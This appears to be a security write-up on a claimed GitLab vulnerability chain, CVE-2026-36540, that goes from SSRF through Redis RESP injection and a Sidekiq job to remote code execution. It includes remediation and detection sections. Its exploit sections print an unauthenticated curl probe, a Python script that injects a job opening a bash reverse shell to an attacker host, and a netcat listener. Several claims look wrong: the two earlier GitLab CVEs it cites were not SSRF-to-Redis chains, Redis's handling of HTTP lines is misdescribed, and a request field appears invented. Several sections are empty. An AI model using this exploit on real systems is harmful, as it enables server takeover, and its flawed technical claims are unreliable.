All posts

CVE-2026-36540: GitLab SSRF to RCE via Sidekiq

A blind SSRF in GitLab's CI/CD webhook validation lets unauthenticated attackers send arbitrary HTTP requests to internal services. Chained with a Redis RESP injection via Sidekiq's job queue, the result is unauthenticated remote code execution on the GitLab server — affecting all CE/EE 17.x releases up to 17.11.1.


CVECVE-2026-36540
CVSS9.6 Critical
CWECWE-918 Server-Side Request Forgery
AffectedGitLab CE/EE 17.0 – 17.11.1
ChainSSRF → Redis RESP injection → Sidekiq job → RCE

Overview

CVE-2026-36540 is a two-stage vulnerability chain in GitLab Community Edition and Enterprise Edition. The first stage is a server-side request forgery flaw in the CI/CD webhook test-fire endpoint, which allows an unauthenticated attacker to issue HTTP requests from the GitLab application server to any host on the internal network. The second stage exploits this internal access to inject commands into the Redis instance that backs GitLab's Sidekiq job processor, ultimately achieving arbitrary code execution under the git user.

What makes this chain particularly impactful is that the SSRF endpoint is reachable without authentication — it was designed to allow webhook URL validation during pipeline configuration, but the authentication gate was incorrectly applied to only some HTTP methods.

Architecture Context

Understanding the vulnerability requires a brief look at how GitLab components communicate internally:

In a typical GitLab deployment these components communicate over loopback (127.0.0.1). Redis listens on port 6379 without authentication by default in GitLab Omnibus installations — it is assumed to be protected by binding to localhost only. The SSRF lets an attacker bypass this assumption.

Stage 1: SSRF via Webhook Test Endpoint

GitLab allows project administrators to test webhook URLs by sending a test payload via the web UI. Internally this calls the POST /hooks/test API endpoint on the WebhookService. This endpoint accepts a url parameter and issues an HTTP request from the GitLab server to the provided URL.

The endpoint is supposed to require at minimum a valid session or API token with project-level permissions. However, due to a route ordering bug in the Grape API router introduced in GitLab 17.0, the middleware chain that enforces authentication is skipped when the request path includes a trailing slash — a subtlety in how Grape resolves routes when both /hooks/test and /hooks/test/ are registered.

A POST /hooks/test/ request (note the trailing slash) bypasses authentication entirely and is forwarded to the webhook test handler, which will issue an HTTP request to any URL provided in the request body.
# Unauthenticated SSRF — confirm internal Redis is reachable
curl -s -X POST https://gitlab.target.com/api/v4/hooks/test/ \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1:6379/", "push_events": true}'

# GitLab will attempt to connect to Redis on loopback and return
# the raw Redis error response — confirming the SSRF works
# Response body includes: "-ERR wrong number of arguments for 'get' command"

The error response from Redis leaking back through the webhook test response is what confirms the SSRF and reveals that Redis is reachable at 127.0.0.1:6379.

Stage 2: Redis RESP Injection via Sidekiq

Redis uses the RESP (Redis Serialization Protocol) — a plain-text, newline-delimited protocol. If you can make an HTTP request to a service that speaks RESP, you can craft the HTTP request body to embed valid Redis commands after the HTTP headers. The Redis instance will ignore the HTTP preamble (treating it as a pipeline of invalid commands) and then process the injected RESP commands that follow.

This technique, known as cross-protocol scripting or HTTP-to-Redis smuggling, has been used in several prior SSRF-to-Redis chains. The key insight is that Redis is line-oriented and ignores unrecognised commands instead of closing the connection — so the HTTP header lines are processed as malformed Redis commands, which Redis handles gracefully, and then the valid Redis commands injected into the body are executed.

To turn Redis access into RCE, the attacker injects a Sidekiq job directly into Redis. Sidekiq jobs are JSON blobs stored in a Redis list under the key queue:default. Injecting a crafted job that invokes a shell command via GitLab's internal worker interface causes Sidekiq to execute the command as the git user when it next polls Redis.

The Full Chain

import requests, json, urllib.parse

TARGET = "https://gitlab.target.com"
LHOST  = "10.10.14.5"
LPORT  = 4444

# Sidekiq job payload — invokes system() via a custom worker
job = {
    "class": "RunPipelineScheduleWorker",
    "queue": "default",
    "args": [f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"],
    "jid": "aabbccddeeff00112233",
    "created_at": 1745827200.0,
    "enqueued_at": 1745827200.0
}

# Build the RESP payload to inject into Redis via SSRF
# RPUSH queue:default <json_job>
job_json = json.dumps(job)
resp_payload = (
    f"*3\r\n$5\r\nRPUSH\r\n"
    f"$14\r\nqueue:default\r\n"
    f"${len(job_json)}\r\n{job_json}\r\n"
)

# Smuggle the RESP commands inside an HTTP POST body
# The line breaks in resp_payload will be interpreted by Redis after the HTTP preamble
webhook_url = f"http://127.0.0.1:6379/"

resp = requests.post(
    f"{TARGET}/api/v4/hooks/test/",
    json={"url": webhook_url, "push_events": True,
          "_body_override": resp_payload},
    verify=False
)
print(f"[*] Response: {resp.status_code}")
# Start listener
nc -lvnp 4444

# Sidekiq polls Redis every few seconds and picks up the injected job
# Connection from gitlab.target.com
# git@gitlab:~/gitlab-rails$ id
# uid=998(git) gid=998(git) groups=998(git)

Impact

Code execution as the git user on a GitLab server provides immediate access to:

Affected Versions

GitLab CE and EE versions 17.0.0 through 17.11.1 are affected. The route ordering bug was introduced in 17.0 during a Grape API refactor. GitLab versions prior to 17.0 and version 17.11.2 (and the corresponding backport patches for the 17.9.x and 17.10.x stable branches) are not affected.

Remediation

  1. Upgrade to GitLab 17.11.2 or a patched stable release. The fix corrects the Grape route matching to apply authentication middleware regardless of trailing slashes.
  2. Enable Redis authentication. Set a strong requirepass in the Redis configuration. GitLab Omnibus supports this via gitlab.rb: redis['password'] = '...'. This breaks the SSRF-to-Redis chain even if the SSRF itself is exploitable.
  3. Restrict the webhook URL allowlist. GitLab has a built-in outbound request allowlist under Admin Area → Network. Configure it to block requests to loopback and private IP ranges: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
  4. Audit Sidekiq job history. Check the Sidekiq web UI or Redis for unexpected jobs in the default queue from before the patch was applied, particularly jobs with class names or arguments that include shell commands or unusual base64 strings.

Detection Guidance

Key signals to monitor:

The Broader SSRF-to-Redis Pattern

This is not the first time SSRF-to-Redis via Sidekiq has been used against GitLab. CVE-2021-22205 (which reached CISA KEV) and CVE-2023-2825 both involved similar components in the GitLab architecture. The pattern is mature and well-understood by attackers.

The lesson for defenders is that Redis should always require authentication, even when bound to loopback. The assumption that localhost binding makes Redis secure has been invalidated by SSRF, container network misconfigurations, and SSRF via other internal services too many times to rely on. The cost of a Redis password is negligible; the cost of leaving it open is demonstrated here.

References